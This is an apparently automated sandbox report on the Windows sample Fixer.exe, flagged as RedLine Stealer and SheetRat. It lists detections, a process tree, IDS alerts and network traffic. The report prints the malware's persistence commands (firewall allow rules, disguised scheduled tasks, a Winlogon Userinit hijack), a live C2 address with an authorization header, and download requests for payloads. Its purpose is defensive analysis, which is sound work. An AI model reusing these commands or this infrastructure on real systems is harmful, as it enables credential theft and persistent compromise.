Edit tour

Windows Analysis Report
Fixer.exe

Overview

General Information

Sample name:	Fixer.exe
Analysis ID:	1585853
MD5:	2acda1f917022e9e8081ad69b15330c6
SHA1:	3bad975d496a0066d64470e4ae1002794581c4f8
SHA256:	7bc2586b6d70b12f116dc8f538f58665620a765e2c764a5c143b06ec97bacfc0
Infos:

Detection

RedLine, SheetRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected RedLine Stealer

Yara detected SheetRat

.NET source code contains potential unpacker

Allows loading of unsigned dll using appinit_dll

C2 URLs / IPs found in malware configuration

Contains functionality to capture screen (.Net source)

Creates an undocumented autostart registry key

Drops executables to the windows directory (C:\Windows) and starts them

Drops large PE files

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the windows firewall

Queries memory information (via WMI often done to detect virtual machines)

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses known network protocols on non-standard ports

Uses schtasks.exe or at.exe to add and modify task schedules

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion NT Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64native

Fixer.exe (PID: 7492 cmdline: "C:\Users\user\Desktop\Fixer.exe" MD5: 2ACDA1F917022E9E8081AD69B15330C6)

6z9uno0baqvej0me.exe (PID: 5376 cmdline: "C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe" MD5: 2E2BF344AC14353A679CCDD682273BE0)

cmd.exe (PID: 7376 cmdline: "CMD" netsh advfirewall firewall add rule name="7=PG%XL(%PSA%R" dir=in action=allow program="C:\Windows\System32\xdwdSecurityHealthSystrays.exe" enable=yes & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5564 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 7072 cmdline: "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "Microsoft\Windows\SecurityHealthSystray12" /tr "C:\Windows\System32\xdwdSecurityHealthSystrays.exe" /RL HIGHEST & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

schtasks.exe (PID: 3376 cmdline: schtasks /create /f /sc minute /mo 1 /tn "Microsoft\Windows\SecurityHealthSystray12" /tr "C:\Windows\System32\xdwdSecurityHealthSystrays.exe" /RL HIGHEST MD5: 796B784E98008854C27F4B18D287BA30)

cmd.exe (PID: 6596 cmdline: "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "Microsoft\Windows\Schost" /tr "C:\Windows\System32\xdwdSecurityHealthSystrays.exe" /RL HIGHEST & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

schtasks.exe (PID: 6592 cmdline: schtasks /create /f /sc minute /mo 30 /tn "Microsoft\Windows\Schost" /tr "C:\Windows\System32\xdwdSecurityHealthSystrays.exe" /RL HIGHEST MD5: 796B784E98008854C27F4B18D287BA30)

xdwdSecurityHealthSystrays.exe (PID: 3660 cmdline: "C:\Windows\System32\xdwdSecurityHealthSystrays.exe" MD5: 0AC0B9DEA199D2DF1593CAB96613CB52)

FixerNerest.exe (PID: 8148 cmdline: "C:\Users\user\AppData\Local\Temp\FixerNerest.exe" MD5: 094EBE271C9334745C238FC2BA77FD38)

WmiPrvSE.exe (PID: 824 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

cmd.exe (PID: 5008 cmdline: "CMD" netsh advfirewall firewall add rule name=",%MUc}<NcMKXc_" dir=in action=allow program="C:\Windows\System32\Defender.exe" enable=yes & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 8152 cmdline: "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "Microsoft\WindowsAPI" /tr "C:\Windows\System32\Defender.exe" /RL HIGHEST & exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6684 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

schtasks.exe (PID: 7944 cmdline: schtasks /create /f /sc minute /mo 1 /tn "Microsoft\WindowsAPI" /tr "C:\Windows\System32\Defender.exe" /RL HIGHEST MD5: 796B784E98008854C27F4B18D287BA30)

Defender.exe (PID: 2232 cmdline: "C:\Windows\System32\Defender.exe" MD5: 6C49C48E82A1B13AC0406AD8B049E7DE)

xdwdSecurityHealthSystrays.exe (PID: 5360 cmdline: C:\Windows\System32\xdwdSecurityHealthSystrays.exe MD5: 0AC0B9DEA199D2DF1593CAB96613CB52)

xdwdSecurityHealthSystrays.exe (PID: 4228 cmdline: C:\Windows\System32\xdwdSecurityHealthSystrays.exe MD5: 0AC0B9DEA199D2DF1593CAB96613CB52)

Defender.exe (PID: 2660 cmdline: C:\Windows\System32\Defender.exe MD5: 6C49C48E82A1B13AC0406AD8B049E7DE)

xdwdSecurityHealthSystrays.exe (PID: 5128 cmdline: C:\Windows\System32\xdwdSecurityHealthSystrays.exe MD5: 0AC0B9DEA199D2DF1593CAB96613CB52)

Defender.exe (PID: 3268 cmdline: C:\Windows\System32\Defender.exe MD5: 6C49C48E82A1B13AC0406AD8B049E7DE)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: RedLine

{"C2 url": ["89.23.97.121:1112"], "Bot Id": "Umbrella", "Authorization Header": "c74790bd166600f1f665c8ce201776eb"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Fixer.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Fixer.exe	infostealer_win_redline_strings	Finds Redline samples based on characteristic strings	Sekoia.io	0x24cc3:$gen01: ChromeGetRoamingName 0x24ce8:$gen02: ChromeGetLocalName 0x24d2b:$gen03: get_UserDomainName 0x28bc4:$gen04: get_encrypted_key 0x27943:$gen05: browserPaths 0x27c19:$gen06: GetBrowsers 0x27501:$gen07: get_InstalledInputLanguages 0x239cc:$gen08: BCRYPT_INIT_AUTH_MODE_INFO_VERSION 0x3018:$spe1: [AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7} 0x29006:$spe7: OFileInfopeFileInfora GFileInfoX StabFileInfole 0x290a4:$spe8: ApGenericpDaGenericta\RGenericoamiGenericng\ 0x296c4:$spe9: wallet 0x219ea:$typ02: F413CEA9BAA458730567FE47F57CC3C94DDF63C0 0x21f14:$typ03: A937C899247696B6565665BE3BD09607F49A2042 0x21fc1:$typ04: D67333042BFFC20116BF01BC556566EC76C6F7E2 0x21998:$typ07: 77A9683FAF2EC9EC3DABC09D33C3BD04E8897D60 0x219c1:$typ08: A8F9B62160DF085B926D5ED70E2B0F6C95A25280 0x21b92:$typ10: 2FBDC611D3D91C142C969071EA8A7D3D10FF6301 0x21de5:$typ11: 2A19BFD7333718195216588A698752C517111B02 0x220d4:$typ13: 04EC68A0FC7D9B6A255684F330C28A4DCAB91F13

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.52853780716.00000000127E1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SheetRat	Yara detected SheetRat	Joe Security
00000000.00000000.52343849796.0000000000672000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.52600457326.0000000002E87000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Fixer.exe PID: 7492	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Fixer.exe PID: 7492	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: 6z9uno0baqvej0me.exe PID: 5376	JoeSecurity_SheetRat	Yara detected SheetRat	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.6z9uno0baqvej0me.exe.12803b30.1.raw.unpack	JoeSecurity_SheetRat	Yara detected SheetRat	Joe Security
2.2.6z9uno0baqvej0me.exe.12803b30.1.unpack	JoeSecurity_SheetRat	Yara detected SheetRat	Joe Security
0.0.Fixer.exe.670000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.0.Fixer.exe.670000.0.unpack	infostealer_win_redline_strings	Finds Redline samples based on characteristic strings	Sekoia.io	0x24cc3:$gen01: ChromeGetRoamingName 0x24ce8:$gen02: ChromeGetLocalName 0x24d2b:$gen03: get_UserDomainName 0x28bc4:$gen04: get_encrypted_key 0x27943:$gen05: browserPaths 0x27c19:$gen06: GetBrowsers 0x27501:$gen07: get_InstalledInputLanguages 0x239cc:$gen08: BCRYPT_INIT_AUTH_MODE_INFO_VERSION 0x3018:$spe1: [AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7} 0x29006:$spe7: OFileInfopeFileInfora GFileInfoX StabFileInfole 0x290a4:$spe8: ApGenericpDaGenericta\RGenericoamiGenericng\ 0x296c4:$spe9: wallet 0x219ea:$typ02: F413CEA9BAA458730567FE47F57CC3C94DDF63C0 0x21f14:$typ03: A937C899247696B6565665BE3BD09607F49A2042 0x21fc1:$typ04: D67333042BFFC20116BF01BC556566EC76C6F7E2 0x21998:$typ07: 77A9683FAF2EC9EC3DABC09D33C3BD04E8897D60 0x219c1:$typ08: A8F9B62160DF085B926D5ED70E2B0F6C95A25280 0x21b92:$typ10: 2FBDC611D3D91C142C969071EA8A7D3D10FF6301 0x21de5:$typ11: 2A19BFD7333718195216588A698752C517111B02 0x220d4:$typ13: 04EC68A0FC7D9B6A255684F330C28A4DCAB91F13

Sigma Signatures

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "Microsoft\Windows\SecurityHealthSystray12" /tr "C:\Windows\System32\xdwdSecurityHealthSystrays.exe" /RL HIGHEST & exit, CommandLine: "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "Microsoft\Windows\SecurityHealthSystray12" /tr "C:\Windows\System32\xdwdSecurityHealthSystrays.exe" /RL HIGHEST & exit, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe, ParentProcessId: 5376, ParentProcessName: 6z9uno0baqvej0me.exe, ProcessCommandLine: "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "Microsoft\Windows\SecurityHealthSystray12" /tr "C:\Windows\System32\xdwdSecurityHealthSystrays.exe" /RL HIGHEST & exit, ProcessId: 7072, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: CurrentVersion NT Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Windows\System32\userinit.exe,C:\Windows\System32\xdwdSecurityHealthSystrays.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe, ProcessId: 5376, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

Suricata Signatures

ET MALWARE Redline Stealer TCP CnC - Id1Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T11:24:21.630664+0100	2043234	1	A Network Trojan was detected	89.23.97.121	1112	192.168.11.20	49748	TCP

ET MALWARE Redline Stealer TCP CnC Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T11:24:21.358270+0100	2043231	1	A Network Trojan was detected	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:26.669865+0100	2043231	1	A Network Trojan was detected	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:27.070524+0100	2043231	1	A Network Trojan was detected	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:27.708030+0100	2043231	1	A Network Trojan was detected	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:28.033899+0100	2043231	1	A Network Trojan was detected	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:28.848988+0100	2043231	1	A Network Trojan was detected	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:29.121943+0100	2043231	1	A Network Trojan was detected	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:29.393622+0100	2043231	1	A Network Trojan was detected	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:29.695937+0100	2043231	1	A Network Trojan was detected	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:29.970275+0100	2043231	1	A Network Trojan was detected	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:30.244400+0100	2043231	1	A Network Trojan was detected	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:30.586256+0100	2043231	1	A Network Trojan was detected	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:30.939569+0100	2043231	1	A Network Trojan was detected	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:31.213342+0100	2043231	1	A Network Trojan was detected	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:31.488362+0100	2043231	1	A Network Trojan was detected	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:31.806733+0100	2043231	1	A Network Trojan was detected	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:33.019673+0100	2043231	1	A Network Trojan was detected	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:33.293505+0100	2043231	1	A Network Trojan was detected	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:33.566799+0100	2043231	1	A Network Trojan was detected	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:33.845047+0100	2043231	1	A Network Trojan was detected	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:34.117796+0100	2043231	1	A Network Trojan was detected	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:34.472435+0100	2043231	1	A Network Trojan was detected	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:34.743199+0100	2043231	1	A Network Trojan was detected	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:37.512019+0100	2043231	1	A Network Trojan was detected	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:37.783860+0100	2043231	1	A Network Trojan was detected	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:41.963009+0100	2043231	1	A Network Trojan was detected	192.168.11.20	49748	89.23.97.121	1112	TCP
2025-01-08T11:24:42.273238+0100	2043231	1	A Network Trojan was detected	192.168.11.20	49748	89.23.97.121	1112	TCP

ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T11:24:21.358270+0100	2046045	1	A Network Trojan was detected	192.168.11.20	49748	89.23.97.121	1112	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-08T11:24:40.760334+0100	2803305	3	Unknown Traffic	192.168.11.20	49749	89.23.97.121	1911	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Windows\System32\Defender.exe	Avira: detection malicious, Label: TR/Crypt.OPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Avira: detection malicious, Label: HEUR/AGEN.1310090
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Avira: detection malicious, Label: TR/Crypt.OPACK.Gen

Found malware configuration

Source: Fixer.exe

Malware Configuration Extractor: RedLine {"C2 url": ["89.23.97.121:1112"], "Bot Id": "Umbrella", "Authorization Header": "c74790bd166600f1f665c8ce201776eb"}

Multi AV Scanner detection for submitted file

Source: Fixer.exe	ReversingLabs: Detection: 68%
Source: Fixer.exe	Virustotal: Detection: 79%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Fixer.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\Fixer.exe	Code function: 0_2_0623B670 CryptUnprotectData,		0_2_0623B670
Source: C:\Users\user\Desktop\Fixer.exe	Code function: 0_2_0623BC71 CryptUnprotectData,		0_2_0623BC71

Source: Fixer.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Fixer.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Binary string: C:\Users\Malware\Desktop\hack tool\Backdoor\SheetRat\SheetRat\bin\Release\Stub\UserMode.pdb source: 6z9uno0baqvej0me.exe, 00000002.00000002.52853780716.00000000127E1000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2043231 - Severity 1 - ET MALWARE Redline Stealer TCP CnC Activity : 192.168.11.20:49748 -> 89.23.97.121:1112
Source: Network traffic	Suricata IDS: 2046045 - Severity 1 - ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) : 192.168.11.20:49748 -> 89.23.97.121:1112
Source: Network traffic	Suricata IDS: 2043234 - Severity 1 - ET MALWARE Redline Stealer TCP CnC - Id1Response : 89.23.97.121:1112 -> 192.168.11.20:49748

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 89.23.97.121:1112

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 1911
Source: unknown	Network traffic detected: HTTP traffic on port 1911 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 1911
Source: unknown	Network traffic detected: HTTP traffic on port 1911 -> 49749

Source: global traffic	TCP traffic: 192.168.11.20:49748 -> 89.23.97.121:1112
Source: global traffic	TCP traffic: 192.168.11.20:49750 -> 147.185.221.24:61069

Source: global traffic	HTTP traffic detected: GET /6z9uno0baqvej0me.exe HTTP/1.1Host: 89.23.97.121:1911Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /FixerNerest.exe HTTP/1.1Host: 89.23.97.121:1911

Source: Joe Sandbox View

IP Address: 147.185.221.24 147.185.221.24

Source: Joe Sandbox View

ASN Name: MAXITEL-ASRU MAXITEL-ASRU

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.20:49749 -> 89.23.97.121:1911

Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121
Source: unknown	TCP traffic detected without corresponding DNS query: 89.23.97.121

Source: global traffic	HTTP traffic detected: GET /6z9uno0baqvej0me.exe HTTP/1.1Host: 89.23.97.121:1911Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /FixerNerest.exe HTTP/1.1Host: 89.23.97.121:1911

Source: Fixer.exe, 00000000.00000002.52600457326.00000000031AB000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: ","type":"MediaFoundationOptIn"},{"name":"OptOut","type":"MediaFoundationOptOut"}],"version":1},"web_notification_override":{"applications":[{"applied_policy":"prompt","domain":"www.reddit.com"},{"applied_policy":"prompt","domain":"www.telegraphindia.com"},{"applied_policy":"prompt","domain":"timesofindia.indiatimes.com"},{"applied_policy":"prompt","domain":"pushengage.com"},{"applied_policy":"prompt","domain":"www.timesnownews.com"},{"applied_policy":"prompt","domain":"www.couponrani.com"},{"applied_policy":"prompt","domain":"www.wholesomeyum.com"},{"applied_policy":"prompt","domain":"www.asklaila.com"},{"applied_policy":"prompt","domain":"www.sammobile.com"},{"applied_policy":"prompt","domain":"www.ecuavisa.com"},{"applied_policy":"prompt","domain":"uz.sputniknews.ru"},{"applied_policy":"prompt","domain":"www.ndtv.com"},{"applied_policy":"prompt","domain":"www.elimparcial.com"},{"applied_policy":"prompt","domain":"www.povarenok.ru"},{"applied_policy":"prompt","domain":"www.estadao.com.br"},{"applied_policy":"prompt","domain":"olxpakistan.os.tc"},{"applied_policy":"prompt","domain":"televisa.com"},{"applied_policy":"prompt","domain":"uol.com.br"},{"applied_policy":"prompt","domain":"www.axisbank.com"},{"applied_policy":"prompt","domain":"mutualfund.adityabirlacapital.com"},{"applied_policy":"prompt","domain":"www.facebook.com"},{"applied_policy":"prompt","domain":"www.instagram.com"},{"applied_policy":"prompt","domain":"www.messenger.com"}],"policies":[{"name":"prompt","reason":"","type":"","value":""}],"version":1}},"fre":{"autoimport_spartan_visible_item_completed":true,"oem_bookmarks_set":true,"should_user_see_fre_banner":"C:\\Users\\user\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default"},"hardware_acceleration_mode_previous":true,"is_dsp_recommended":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"Default":{"migration_attempt":0,"migration_version":4},"last_edgeuwp_pin_migration_on_edge_version":"94.0.992.31","last_edgeuwp_pin_migration_on_os_version":"10 Version 20H2 (Build 